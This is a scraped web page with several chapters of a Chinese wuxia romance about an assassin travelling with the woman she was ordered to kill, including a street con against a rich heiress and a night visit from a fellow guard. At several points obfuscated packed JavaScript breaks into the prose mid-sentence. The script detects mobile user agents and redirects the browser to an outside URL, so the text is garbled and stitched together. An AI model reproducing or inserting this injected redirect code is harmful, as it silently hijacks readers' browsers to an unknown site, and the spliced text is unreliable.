l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372418|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于天,清冷皎然的明月。 “躲着点血。”她道。 忽有一阵山风卷过,鸟雀惊起,枝叶纷飞间,日光倾泻而下。 幽暗的深林被掀开一角,于她瞳孔之中,倒映出一片密密麻麻的银光。 惊刃呼吸一顿。 她这才知晓,柳染堤为何要在无字诏中,买下如此之多的银丝。 银丝缠绕枝桠,织成杀人的网,蛰伏于阴影之中,此刻一照日光,方才显露出一线踪迹。 柳染堤掂着线,向后一扯。 银线微颤,一声未响,七八个匪徒瞬间头颅离体,接连落地,铺了一地狼藉。 惊刃面颊上溅到些许湿润。她抬手一拭,指腹一片殷红,仍旧温热。 “呼。”柳染堤打了个哈欠。 她踹开一把落在脚旁的短刀,越过几具尸体,向着惊刃走来。 柳染堤才被喧闹声扰醒,眼角尚带一丝未褪的倦意,含糊道:“小刺客,你……” 剩余的话停在两人之间。 惊刃脸上依旧没什么表情,只是紧紧地握着,那一柄断成两节的旧剑。 她的手腕直发抖,骨节因太过用力,而微微泛白。 这柄剑又旧又破,不锋利,也不值几两银子,剑锋布满细痕,柄缠脱落,早就不好用了。 同僚苦心劝过她多次,让她换把剑。惊刃摇摇头,一直没换。 她仗着自己武功高、出手极稳,从未真正全力劈刺,一直小心翼翼地将它用到了现在。 可它终究还是断了。不是折在谁的神兵利器下,也不是败于什么盖世高手,仅是被一柄粗制砍刀轻易斩断。 ……像个不好笑的笑话一样。 柳染堤张了张嘴,似乎想说什么,却又咽了回去,变成了一句:“抱歉。” “为什么要道歉?”惊刃不解。 柳染堤没再说话,她走过去,避开手臂处的伤口,将惊刃慢慢扶起来。 她问道:“你武功恢复得如何?” “两成左右。”惊刃道。 “这样,”柳染堤看了一眼惊魂未定的驾车人,“我去她带下山,你在这等我片刻。” 惊刃点点头。 柳染堤转身而去,在驾车人身前俯下。妇人还没喘过气来,转眼颈部便贴上一枚银针。 “银两不会少,但什么能说,什么不该说,”谪仙般的美人微笑着,“我会与你细细讲来。” 驾车人:“……” 柳染堤瞧着身形纤瘦,竟轻巧地将足有两倍于己的妇人扛在肩上,足尖一点,倏忽不见。 落叶满地,林间只余寂静。 惊刃简单处理了手臂伤口,蹲下身去拾起草丛中散落的剑刃残片。 一片,两片。 在拾到第十片时,第十一片被另外一双手所拾起,而后轻轻递到惊刃面前。 “给你。”柳染堤道。 几片残刃躺在她掌心,泛着一点碎光。 惊刃将其一并收进刀鞘,柳染堤便蹲在身旁,安静地看着她。 林间风声又起,碎刃填满鞘中,晃动间“哗啦”作响,杂乱而沉重。 惊刃垂眸,望着刀鞘出神。 脸颊忽地被一双手捧起,柔软细腻,掌心微烫,是一双漂亮的,姑娘家的手。 柳染堤凑得很近,长睫几乎要触到她鼻尖,道:“别难过啦。” “难过?” 惊刃微怔片刻:“我没有……” 8. 钗边语 2 “真的吗?” 柳染堤捧着她的脸颊,气息掠过耳侧,落下一片湿热的烫:“可是你明明很珍惜这把剑。” 她的掌心太暖了,温度顺着肌肤一层一层地沁下去,缓慢而无法抗拒地,将她渗透。 惊刃无从躲避,愈发不自在。 她想起无字诏的训诫,【入此门者,弃名、弃情、弃生死。不问善恶,受诏而行。】 【指令即天命,成则生,败则死。】 暗卫是影子,是刀刃,是主子手中的棋,是最听话的一条狗。 她们唯一需要在意的事情,只有如何快速、干净地完成主子交代的任务。 情感是多余之物,是如同烂肉脓水一般,应当用刀子从伤口剔除的东西。 惊刃见过太多的人在死前挣扎、哭喊、求饶、悔恨、咒骂,那些字句散乱如沙,眼泪一串串地打湿她的靴尖,濒死的声音或刺耳、或悲戚、或愤怒,在她耳中却始终像隔着一层厚雾般模糊。 她从未真正理解过那些眼泪。 同僚曾拍着她的肩,半真半假地叹息:“你这性子就像块璞玉,倒真是适合做暗卫。” “无心、无念、无欲。弃尊则无惧,弃情则无恨,不嗔不执,万事皆空。” 同僚说的话一如既往很晦涩,惊刃向来是听不懂的。就如同她现在,也有些不明白柳染堤的意思。 “……你说的''难过'', ” 惊刃低声重复着,语气轻得几乎要被风吹散:“究竟是什么意思?” 柳染堤怔了怔,思索良久,道:“惊刃,你喜欢你的主子吗?” “我尊她,也敬她。”惊刃答得平静。 “那主子赠你的佩剑呢?” “自然是万般珍重。” 柳染堤道:“那就好比有一日,你最敬重的主子忽然不要你了,而你最珍惜的佩剑也碎了,这时候的心情,就叫做难过。” 惊刃皱起眉心,似在理解她的话。 【所以,我现在是在难过吗?】 她握着那一柄漆黑的刀鞘,断裂的刃片彼此摩擦,发出细微而凌乱的杂音,一下一下,像是在心中某处回响。 “我还是有些…不明白。” 惊刃自己都未察觉那一瞬的迟疑。 “无妨。”柳染堤笑笑,顺手将装着断剑的剑鞘给抢了过来,揣进自己怀里。 “剑先放我这,”她道,“晚点还你。” 惊刃提醒道:“这剑已经断了,刃面也比较脆,经不起施力,不怎么好用。” 柳染堤道:“你管我,我就喜欢,我瞧着这黑漆漆的刀鞘,就觉得和我十分有缘。” 她把剑抱得更紧,道:“我改主意了,现在这把剑归我了,你要能打得过我,我再还给你。” 惊刃无言以对。 这不欺负人么,谁打得过你。 因为匪徒们的袭击,惊慌失措的马儿拽着马车四处狂奔,最终挣脱缰绳,一溜烟跑没影了。 而柳染堤倾家竭产买下的马车,此刻正孤零零地侧翻在地,木架断裂,车轱辘都掉没了一个。 柳染堤唉声叹气,从马车残骸之中抢救出她爱吃的点心,又翻出伤药与绷带塞到惊刃怀里。 “无字诏的银丝虽好用,但实在太贵了,”柳染堤道,“我连住客栈的钱都没了,怎么办?” 惊刃坦然:“这有何难,高树枝桠、屋檐之侧、马厩角落,皆可歇身。” 柳染堤:“…马厩?” 不行,决不能。 马厩是绝不可能睡的,客栈是一定要住的,还有小刺客手臂上那草草包扎,还在往外渗血的伤口,也是得找药馆重新处理的。 什么都需要银两。 两人走走停停,不多时便抵达了驾车人之前所说的山脚城镇。 此地临近嶂云庄的主家所在,街上熙熙攘攘,热闹非凡。 来往皆是身背长剑、腰挂令牌的江湖人,想必都是为了铸剑大会而来。 惊刃摸出一副面具,仔细戴好。 柳染堤在旁边瞧着,道:“小刺客,你生得这么好看,为何非得挡住脸?” 惊刃道:“仇家多。” 柳染堤饶有兴趣:“有多少?” 惊刃思忖片刻,缓声开口——这是她自遇上柳染堤以来,说的最长、最长、最长的一句话: “天衡台的三把手,玄霄阁的二长老,苍岳剑府的两名年轻剑徒……赤尘教的外坛蛊女,锦绣门的掌账管事……哦,还有最近刚得罪的天下第一。” 惊刃平静地看着她:“没了。” 柳染堤早就被一大串门派与名字绕昏了头,听到一半就开始走神。 她此刻还没反应过来:“什么?” 惊刃道:“仇家,就这些。” 柳染堤总觉得在那一堆名字里,听到了什么熟悉的称呼:“我也算你的仇家吗?” 惊刃:“那就少一个。” 柳染堤揉着额心,道:“整个武林有你没得罪过的门派吗?” 惊刃摇头:“没有。” 柳染堤:“…………” 其实,真正能认出惊刃的人并不多。 “影煞”二字,象征着无字诏暗卫中的最高水准。惊刃向来出手极准,刀落不偏分毫。 无论刺杀、投毒、纵火,还是在山道暗中撒钉绊马、往锦绣门的发财竹浇两壶滚水这类事,她都能做的干净利落,天衣无缝。 江湖众人皆知影煞出手狠辣,杀无声,影无踪,但知晓她相貌与身形之人寥寥无几。 人/皮面具一贴,惊刃确实就像换了个人,疏冷眉眼变得柔和,瘦削面颊也添几分圆润。 整张脸看着既陌生,又乖巧。 “很可爱,”柳染堤打量两眼,又道,“不过你原本模样也很可爱。” 惊刃:“……” 。 两人在街头一番对话,没注意到不远处的巷口,忽起一阵混乱。 “快让开,快让开!” 街边摊贩纷纷收摊避让,连人带货一齐往后退了三步,街道上倏然一空。 只听金铃遥遥而来,声声清悦。 只见数匹披挂金缕流苏、颈上悬着宝石项链的高头骏马,拉着一辆金光四射、晃得人睁不开眼的奢华马车缓缓驶来。 随行侍仆尽着绛衣,前后左右各四人,举止整齐如仪仗,皆是规规矩矩地低着头。 人未至,香气已先飘三步。那香是岭南贡制的沉水龙涎,一滴千金,寻常人闻都闻不起。 街道两旁人群迅速让出一条宽道,仿若生怕沾了贵气也赔不起。 旁人都在躲,就柳染堤一人不闪不避,神色好奇:“哪家的姑娘,这么大阵仗?” 惊刃道:“锦绣门。” 柳染堤轻笑一声:“果然。” 与嶂云庄类似,锦绣门也是在七年前那场大乱之中吃尽了红利,垄断武林酒肆、商铺、红楼诸业,富甲一方。 门主名为锦胧,算术与商技双绝。 锦娇则是她捧在心尖尖上宠着的独生女,金银堆里打滚长大,生来不识愁滋味,任性骄纵。 两人也跟着避让车道。 谁料金光灿灿的马车在跟前一停,一位丫鬟快步上前,掀开了华盖金帘。 锦娇年不过十七,生得花骨半开,就是戴了太多金银首饰,反而将人衬得有些俗气。 她耳边垂着珍珠,腕上玉镯交叠,指间缀着宝钻,鞋尖金铃叮铃作响。 “就是她,”锦娇眼光一扫,抬手指住柳染堤,语气娇纵得不可一世,“就是她抢了我看中的东西!” 四周人皆愣了一下。 柳染堤抬眉:“我?” 锦娇冷哼,对随行丫鬟道:“不是说她买走了最后一瓶清骨玉膏么?你们问问掌柜,那可是三日前才运来的新货!” 她看了眼柳染堤,又看了眼惊刃:“衣着也不讲究,哪来的闲人?” 柳染堤温声道:“您说的,可是这一瓶止血续筋、标价一两银子的玉膏?” 说着,她拿出一个瓷白小玉瓶,在众人面前晃了晃。 这是柳染堤之前“送”驾车人下山时,想着小刺客受伤了,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372419|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一点银两在药房买的。 “自然,”锦娇点头,“我的小金儿受伤了,掌柜说别的药膏都不适合,唯独这瓶才能用。” 言罢,丫鬟立时上前,捧出一只镶满珠翠的金丝笼子,里头蹲着只弱弱扑着翅膀的雀儿。 柳染堤:“……容我斗胆问一句,小金儿指的可是这只金丝雀?” 锦娇冷笑:“是又如何?她身上掉的一根羽,卖了你们两个穷鬼也买不起!” “你若是识趣,便把药膏乖乖让给我,”她一仰头,“我出十倍银两。” 这招屡试不爽,往日里大家一听到有十倍银两,大多数都会同意让出东西。 柳染堤不急不缓,摇了摇头。 她语气平和,却字字不让:“我买这药膏,也是为疗伤所用,实在不能割爱。” 锦娇面色当即一沉,眼中浮起轻蔑之色:“银子没有,嘴倒挺硬。” “方才我便看你不顺眼。旁人皆知礼数避道,你偏偏在我马前不避不让、还嘴顶撞,该教训一番。” 她抬手一指惊刃,道:“你,出来打一场。你输了,药归我,还得赔礼。” 柳染堤笑了:“她若赢了呢?” 锦娇眯了眯眼:“你以为她能?” 惊刃原本只是在旁边围观,没想到还有自己的事情,下意识望了柳染堤一眼。 锦娇的贴身侍卫早已上前,她懒散靠在车旁,长发以一道金锦束起,面上带着几分笑,周身却萦绕着一股杀气。 她歪着头,朝着两人做了一揖:“锦绣门,锦弑,还请赐教。” 柳染堤转头看向惊刃,对方点点头:“无字诏出来的,应该是影君级别。” 惊刃平静道:“我打不过。” 锦弑显然听到了这两句话,嗤笑一声:“算你还挺有自知之明。” 柳染堤悄悄靠到惊刃旁边,与她耳语了几句,惊刃顿时皱起眉心。 她道:“不可能。” “求你了,”柳染堤双手合十,“看在我是个绝世大好人的份上,就帮我这么一次,就一次。” 她楚楚可怜地看着惊刃,眼眶微红,乌瞳含水,模样像极了某只经常扒拉她裤腿,企图讨点东西吃的白猫。 惊刃顿了片刻,终是叹口气,道:“我只帮你这一次。” 她强调道:“只这一次。” 锦弑挑眉看着两人嘀嘀咕咕,而后那名脚步虚浮,武功低差的黑衣侍卫向前一步。 围观人群早已自发围成一个圈。 两名黑衣侍卫面对而立,同样出自无字诏,两人气质有些相似,却又有些微妙的不同。 锦弑斜斜站着,重量压在一边身子,漫不经心地转了转手腕;惊刃伫立在暗处,无声无息。 “连佩剑都没有,”锦弑目光落在她身侧,冷笑道,“我也不欺负你,仅比划下拳脚,如何?” 惊刃颔首:“请。” 锦弑肩膀半侧,翻腕成拳,而后足心一点,整个身影如鬼魅般掠出。 拳风凌冽,擦着面颊而过,而后,惊刃连退两步——“噗”一声,吐出一大口血。 锦弑愣了:“?” 她拳头还没来得及收起来,惊刃已经捂着心口,跪倒在地。 紧接着,一个熟悉的白衣身影冲入圈中,一把将惊刃抱得严严实实。 “锦绣门仗势欺人!!!!!” 柳染堤把一脸木然的惊刃抱紧,动作又急又快,搂住肩膀的手还在微微颤抖。 “你们太过分了!我这可怜的小暗卫本就旧伤未愈,伤药也是为她买的。” 惊刃无言以对。 从她被抱着的角度,恰好能看见柳染堤借着衣袍掩饰,狠狠掐了一把大腿。 还挺用力,皮肤都红了。 柳染堤眼眶泛红,黑瞳含泪,嗓音里已经带上三分沙哑,三分凄惨,还有四分天大的冤屈。 “我让她应战,是信你锦绣门家大业大,行得端,坐得正,谁知你们竟借着比试下狠手?” 千言万语汇成一句: “——赔钱!!!” 9. 钗边语 3 锦娇一脸错愕:“这、这……她怎么这般不经打?” 锦弑也懵了:“属下绝对没碰到她。” 她看看自己的拳头,声音有些发飘:“应该、应该是真的没碰到…吧?” 话音未落,围观人群已然义愤填膺。 “那姑娘吐血了,还说没碰?” “人家都说了旧伤未愈,还上去动手,简直欺负人!” 锦娇的脸色由红转青,急得镯子都叮哐作响:“你们胡说八道什么!哪有——” “这世道还有没有公正了?”柳染堤截住她的话,“仗着门派势大,就当街欺辱手无寸铁的百姓?” “这孩子本就带伤,药是为她买的,出手也是为我解围。如今被你们打成这样,是不是还得谢谢你们不杀之恩?” 字字如锥,直指人心:“若今日之事无人主持公道,那明日,这等羞辱还要落在谁头上?” 锦娇都要气哭了:“你,你!” 她自小养在锦玉堆中,走到哪都有人捧着、让着、哄着,连一根银钗落地都有人跪身去捡,哪里遇过这种场面。 此刻气得眼圈发红,半句话也接不上。 四周议论声越滚越大,此起彼伏,一发不可收拾。 甚至开始有些离谱:“我亲眼看她吐血三丈远,喷泉似的,惨啊!” “你瞧那姑娘脸色苍白,刚才一掌打过去,肋骨明明白白响了八声!” “我要去报官!我家婶婶的老妹儿的婆婆当年可是给武林盟主牵过马的!” 越吵越热闹,街头巷尾吹糖人、炒蛋卷、摊煎饼的全被吸引过来,三层外三层里,围得水泄不通。 锦娇一行人本就车马众多,此刻更是寸步难行,想走也走不了。 大小姐急得直跺脚,拉住锦弑的袖子,低声嘀咕:“怎、怎么办啊?” 锦弑道:“小姐,真的很抱歉,我只擅长杀人下毒放火,不懂其它的事情。” 她顿了顿,认真补上一句:“要不,我去把这两人都杀了?” 锦娇:“……” 要你何用! 人越聚越多,已然堵死整条街口,终是有一队人由巷外冲破人群,马蹄铿锵,肃肃而来。 “静一静,静一静!” 为首者声压极高,极有穿透力,一下子便盖过了吵吵嚷嚷的人群:“诸位请息怒。” 她骑着高头大马,朗声道:“我乃嶂云庄容雅阁下身侧的侍卫,奉主子命令维持铸剑大会秩序,现来处理争端。” “嶂云庄执掌大会,自当主持公道,还诸位一个分明是非。” 言辞不失分寸,既带威势,又讲情面,硬是让一圈群众都静了下去。 这声音很耳熟。 惊刃稍稍直起身子,向来人望过去,恰好与骑马女子投来的视线对上。 嗯。 真的是熟人。 正是那位拍着大腿让惊刃多揣摩主子心思,拍着肩膀让她换一把剑,说话云里雾里、晦涩难懂的同僚。 惊刃:“……” 同僚:“……” 没想到这都能遇见,真巧。 两人是无字诏同一届的暗卫,又被容雅买下共事多年,哪怕有人/皮面具遮掩,还是能一眼就认出对方。 两人相对无言,有些尴尬。 同僚看着一脸“虚弱”倒在怀里的惊刃,又看向抱着她的柳染堤,有点控制不住表情。 柳染堤一把搂住惊刃脑袋:“你凶巴巴地瞪我家小暗卫干什么?没见她伤得这么重吗?” 同僚抽了抽嘴角,默默移开视线。 她翻身下马,走到锦娇与柳染堤之间:“此事由嶂云庄处理,两位可有意见?” “依照嶂云庄规矩,双方陈情,证人作实。我们会当场裁断,绝不偏私。” 锦娇求之不得,柳染堤也没有意见。 同僚办事利落,驱散看热闹的人群,三两句问清楚来龙去脉,已差不多有了判断。 此事以锦娇赔偿些银两作为结案。 柳染堤刚开口说了个“五”,锦娇便连忙松一口气:“区区五千两而已,你不早说。” 大小姐丢下银两扬长而去,柳染堤则默默把口中的“五十两”咽下去。 她一张张点着银灿灿的票劵,脸上哪还有刚才的悲凄,全是掩不住的笑意。 “一、二……五,真的是五千两。”柳染堤一把握住惊刃的手,“我们发财了!” 惊刃默默把手抽回来。 同僚在旁微笑:“两位对结果可还满意?” “满意,很满意,”柳染堤笑道,“嶂云庄果真明辨是非,公道分明。” 她爱不释手地摩挲着银票,又道:“请教一下,这附近最好的医馆在哪?” 同僚的视线在柳染堤身上逡巡两圈,见这人白衣妥帖,神色自若,不像受伤的样子。 她客客气气道:“恕我冒昧,姑娘伤在了哪?若是我们护卫不周所致,得向您赔礼才是。” 柳染堤摇了摇头,小团扇在空中一晃,不轻不重地点在惊刃额心。 “我好着呢,”她道,“受伤的是这个。” 惊刃道:“不需——” 柳染堤头也不抬:“是你付银子,还是我付银子?你说了算还是我说了算?” 这句话听着真耳熟。 惊刃闭上嘴。 不同于惊刃,她的这位同僚七窍玲珑,擅度人心,深得容雅喜爱与器重。 但此刻,同僚那张永远礼数周全、带着笑意的脸上,罕见地浮起了一丝错愕。 同僚望着柳染堤,久未出声。 暗卫命薄如纸,轻贱如尘,还不如主人家养的一只猫,一只雀,一枝花。 伤了自己处理,死了便换新的,从来没有主子会因为受伤这点小事而花钱操心。 柳染堤又点了一遍银票,抬头才发现两个人都在看自己,道:“附近没有医馆吗?” “自是有的,”同僚回神,笑道,“我这就为您标在图上。” 临近铸剑大会,四周江湖中人云集,鱼龙混杂,是非难免。 同僚为二人标注好医馆位置,便起身告辞,翻身上马,隐没在人潮之外。 柳染堤则拽着惊刃去医馆。 路上,她将银票分成两份,折叠整齐,得意地在惊刃眼前晃了晃。 “五千两银子,我们一人一半。” 柳染堤道:“你这份我先替你收着,等你什么时候不想杀我了,我再还你。” 惊刃淡淡看她一眼,没接话。 转角处,便是她们要找的那家医馆。 门前种着一排老黄藤,枝蔓缠绕,院中药香极浓,一步踏入,便觉百草氤氲。 温水洗去血痂与用来止血的灰土,小药童手脚麻利,很快便捧来研好的草药。 柳染堤趴在一旁的石桌上,早已睡熟。 伤口极深,血肉翻卷,依稀可见一丝白骨。草药覆上去,惊刃神情淡淡,手臂一寸未动,连丝毫颤抖都无。 小药童咂舌道:“你真能忍疼啊。” 惊刃道:“习惯了。” 她受过太多,比这还严重百倍的伤。 有些是在无字诏的训练中留下的,有些是在执行主子命令时换回来的。 她的主子,嶂云庄容雅。 念至此名,那熟悉的、冰冷的、不容置疑的声音便在心底响起: 【惊刃,帮我杀一个人。】 药汁沿着皮肉滑落,每一寸撕裂的疼都令她感到安宁,让她得以维系着清醒。 眼瞳之中,映出那人的睡颜。 柳染堤趴在石桌边缘,枕着一边手臂,另一侧则自然垂着,睡得很沉。 墨发与白衣堆叠在一起,似纸上画了一枝墨色的梅,疏影横斜,自成风骨。 【必须要完成主子的命令】 【必须要尽快杀了她】 惊刃静静地看着她,指节不自觉地蜷紧,耳畔心跳声渐急,仿佛密密敲响的鼓点——咚、咚、咚。 一下接着一下,越来越急、越来越快、越来越密,不断催促着、逼迫着她。 【必须快些,更快些】 【不然……】 。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372420|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳染堤美美睡了一觉,睡醒就见惊刃表情古怪,好心问了句:“怎么啦?” 小刺客只是摇头,看着闷闷的。 柳染堤只当她是肚子饿了,或者对主子思念成疾,赏给小药童一两银子,带着惊刃去住客栈。 感恩锦绣门的馈赠,柳染堤挑了一家有被褥、有热水、还有糕点送的豪华客栈。 只是可惜人多房满,仍只剩一间。 两人也只能继续挤在一块。 “我出去一趟,”柳染堤换了身黑衣,将那柄断剑揣在怀里,“晚点回来。” 惊刃道:“你不必知会我。” 柳染堤道:“我可不是你那坏主子,不会丢下你一个人不管的,放心吧。” 惊刃:“……” 总有种鸡同鸭讲的无力感。 柳染堤打开窗户就跳了出去,身形轻盈,淹没在夜色之中。 惊刃倚着窗沿,望向远处。 单凭这一身轻功,别说铸剑大会,哪怕是天涯海角,她恐怕也不需要几天便能到达。 可是,她这一路都在放慢脚步。 不知从何而起的焦躁涌上心头,惊刃压着额心,关上窗户,盘膝调息。 - 转眼,便过了一个时辰。 “嗒、嗒、嗒。” 窗棂忽地敲响,不急不缓,恰好三下。 惊刃倏然起身,目光一扫,将烛台掩于身后当作武器,缓缓靠近窗边,打开一条细缝。 “嗨。”来人笑道。 来人倒挂在屋檐之上,长发垂落,眉睫细长,一双狐狸眼笑意狡黠。 熟悉的声音调侃道:“影煞大人如今功力大退,连我都发现不了?” 惊刃卸下戒备,确认四周无人,才低声道:“惊狐。” 正是白日里那位为她们“主持公道”的同僚,此刻一改礼数周全的模样,笑得贼眉鼠眼。 惊刃放下烛台:“你怎么来了?” 惊狐道:“你不知道,自从你去刺杀天下第一,惊雀就在后院给立了个坟,烧纸不辍,天天哭丧。” “我被她吵的耳朵疼,”她摇头晃脑道,“自然是来看看你死没死。” 惊刃道:“我尚未得手。” 惊狐略一思索:“难不成,那位八爪鱼一样搂着你,讹诈锦绣门五千两银子的美人,就是——” 惊刃道:“就是她。” 惊狐倒也不意外,嘟囔了句“原来如此”,踢开窗扇,翻身跳进来。 她就跟回家一样,拖张椅子坐下,翘起二郎腿:“说说吧,你现在什么处境?” 惊刃沉声道:“极为棘手。” “你应该能觉察到那人的身手。我刺杀失败,服毒自尽,但被她救了回来。” 她咬字微狠:“然后我的匕首、暗器、毒针、鸩酒、袖箭等一件不剩,全被她收了个干净。 “起初说怕我寻死,等我伤好后归还,后来又说等我哪日不想杀她了再还。” 惊刃靠着墙,冷声道:“总之,我如今只能暂且跟在她身侧,伺机而动。” 话音落下,屋内一时沉默。 惊狐一瞬不瞬地看着她,神情古怪得仿佛在看另一个人。 “怎么了?”惊刃不解。 下一瞬,惊狐“砰”地一拍大腿,爆发出震天大笑:“哈哈哈哈,没想到在我死之前,真等到了这天!” “天道好轮回,苍天饶过谁,终于有个人能来治你了!” 惊刃蹙眉:“什么意思?” 惊狐兴奋道:“意思就是:无字诏的不败神话,令人闻风丧胆的影煞大人,终于栽了!而且是栽得彻彻底底!” “当年你多嚣张啊,杀出八十一障,三百多场擂台无一败绩,来一个撂一个下台,我都被你砍了三刀。” 惊狐越说越来劲,整个人几乎从椅子上仰过去,声音里充满了幸灾乐祸: “等着瞧吧,三天!就三天!无字诏里上上下下、里里外外,连看门的大黑狗都会知道——你,惊刃!被一位不知名美人姐姐,玩弄于股掌之间!” 惊刃:“…………” 10. 钗边语 4 如果柳染堤给惊刃留了一把刀,这把刀此刻应该插在惊狐脖子上。 很可惜,她把惊刃扒得干干净净,任何一点锋利的东西都没给她留下。 惊刃看着惊狐笑了足足半柱香,凉凉吐出四个字:“笑够了没?” “没呢,”惊狐笑嘻嘻道,“我一定要请人把此事编成三卷话本,每晚临睡温习一遍。” 惊刃面无表情:“随你。” 惊狐笑得嗓子发沙,咳了两声,抿了口茶,这才压下嗓音:“说正事,那人藏得可真深。” 她指自然是柳染堤。 “若不是认出你,我根本不会留意她,”惊狐掂着茶盏,“她看上去完全是个普通姑娘。” 习武之人在步伐、气息、吐纳上,总归是和普通人有些差别的。 “她手上不见一丝薄茧,呼吸也毫无习武痕迹,甚至于,我在她身上感觉不到丝毫的戒备或杀气。” 无论剑术、拳脚、轻功、毒术,哪样不需日夜磨砺?绝世武功又不是一枚掉在街上的金元宝,谁都能捡起来。 两人对视,在彼此眼中捕捉到了相似的疑惑与不解。 惊狐道:“接下来,你打算怎么办?” “我会在她身旁再留一段时日,”惊刃思忖着,“嶂云庄那边,需不需要我回去帮忙?” 帮忙二字说的巧妙:只有出事了,才会需要别人的帮忙。 “你已经知道了?” 惊狐苦笑道:“嶂云庄最近闹了些乱子,侍从暗卫悉数回调保护本家,连照例清扫山匪的事都顾不上了。” 惊刃道:“出了什么事?” 惊狐道:“这一个月,嶂云庄设在各地的武馆、旁门,接连遭人投毒下蛊。” “起初只是外门病倒,后来几位内门都七窍流血而亡。容庄主耗费巨力追查,却连凶手的影子都摸不着。” “唯一还算清醒的门徒说,她们曾在事发前见过一个怪人。一个背着破竹篓,弯腰驼背,面容皲裂不堪的垂暮老妪。” “她说着些疯癫胡话,撒下一把药粉,在数十人围攻之下中消失得无影无踪。” 惊刃沉声道:“像是赤尘教的手段。” 江湖上擅长蛊术的门派不多,赤尘教算是其中佼佼者,只是近年已销声匿迹,隐退至南疆瘴地深处。 “说不准,”惊狐烦躁地抓了抓头发,“总之庄主震怒,主子遭了罪,咱们这些底下当差的,日子更不好过。” 两人又稍微聊了一会。 夜色渐浓,惊狐喝干净最后一点茶水,起身向惊刃告辞。 她敛起笑意,神色认真:“放心吧,今日之事,我会捡些不打紧的向主子汇报。” 惊刃皱眉:“不可,你理应据实呈报,不得隐瞒。” 惊狐啧了一声,推开窗户,回头狠狠白了惊刃一眼:“我这是在帮你!” 不解气,又骂一句:“榆木脑袋!” 无字诏有规定,暗卫不得私自易主。不然就嶂云庄那高压氛围,还有容雅阴晴不定的臭脾气,惊狐早就跳槽跑路了。 也就只有惊刃,被欺负成这样还忠心耿耿,哪天被嶂云庄卖了她都得跳出来抬价,生怕少卖一两血让主子缺了银子。 惊狐叹口气,又道:“你又不是不清楚,咱们主子的脾性。” “她对待你的态度怪得很,但凡和你有关的事情,说多一句她骂我们碎嘴,说少一句她又嫌我们偷懒,难伺候得很。” 惊狐若有所思:“有时候,我甚至怀疑主子她暗恋你。正所谓,爱而不得,因爱生恨?” 惊刃:“…………” 这话就有些毛骨悚然了。 她严肃道:“你我身为暗卫,不可在私下对主子评头论足,更不可如此污蔑主子。” 惊狐敷衍道:“行行行,都听你的。” 说着便翻身坐上窗沿,指节敲着木框:“我是真的要走了,不然回头又得挨骂。” 她冲惊刃挥挥手。 千言万语,最终凝为寥寥几字: “总之,你多保重。” 多保重、多珍重; 愿我们明日还能见面。 。 惊狐离开后,房间归于寂静。 惊刃盘膝调息,月光透过窗棂,落在她身前,铺开一道波光粼粼的溪。 她稍稍抬起头。 惊刃的视线很窄,窄到只有主子、紧闭的院门、以及主子命令她去刺杀之人。 她很少会仰头,去看这一轮始终挂于天幕、不偏不倚照着所有人的月亮。 上一次圆月,是什么时候呢? 似乎…… 是刺杀姜偃师归来那夜。 她不知断了多少根骨头,浑身都是机关割出来的伤,爬到容府门前时,已经动弹不得。 模糊中,她看见主子立在圆月之下,披着白狐裘,满脸的错愕与不可置信。 “竟然回来了?” 主子喃喃说着,向身旁侍卫吩咐道:“抬回院里,扔着,不用管。” 她在院中躺了整整十天,伤口逐渐结痂,终于可以慢慢起身。 如同之前无数次那样,她用井水冲洗掉与血肉黏连的淤泥,再用刀剔去伤口的腐肉。 她并不觉得疼。 只是在那一刻,胸膛中像压着一层湿重的布,她持着钝刀一寸寸地剖开半边,余下那半却连着骨、带着肉,缠黏不清。 这算是,柳染堤所说的“难过”吗? 惊刃并不能确定。 她正出神,忽觉眼前的烛火静了一瞬,不再随风摇曳。 有人来到窗边,挡住了风。 嗓音似风铃,带着几分笑,叮叮铃铃:“小刺客今天这么好兴致?” 柳染堤拿着串糖葫芦,嘴里还叼着一串,说话含糊:“不在阴影里装蘑菇了,来赏月呢?” 惊刃道:“只是看看。” 柳染堤将糖葫芦塞进她手里,裹着一层厚厚糖衣的山楂晶亮如漆,带着一丝甜香。 “给你。”她唇边沾着一点糖碎,咬着的那一串只剩两个果子, 柳染堤单手撑着窗,身形一腾,跃入屋内,靴尖踩碎一地月光。 惊刃嗅到一缕极淡的血气。 若隐若现,像藏于梁间的蛛网,若不刻意去寻,很难察觉得到。 柳染堤抬了抬眉,视线落到不远处的桌上,缓步走了过去。 “唔?” 她的食指轻滑过桌面。 惊狐喝过的茶杯早已被惊刃洗过,茶壶也重新装满,摆设一如先前,分毫不乱。 柳染堤却已经发现了,她背靠着桌子,冲惊刃灿然一笑:“有客人来过啊。” 不是疑问,而是笃定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 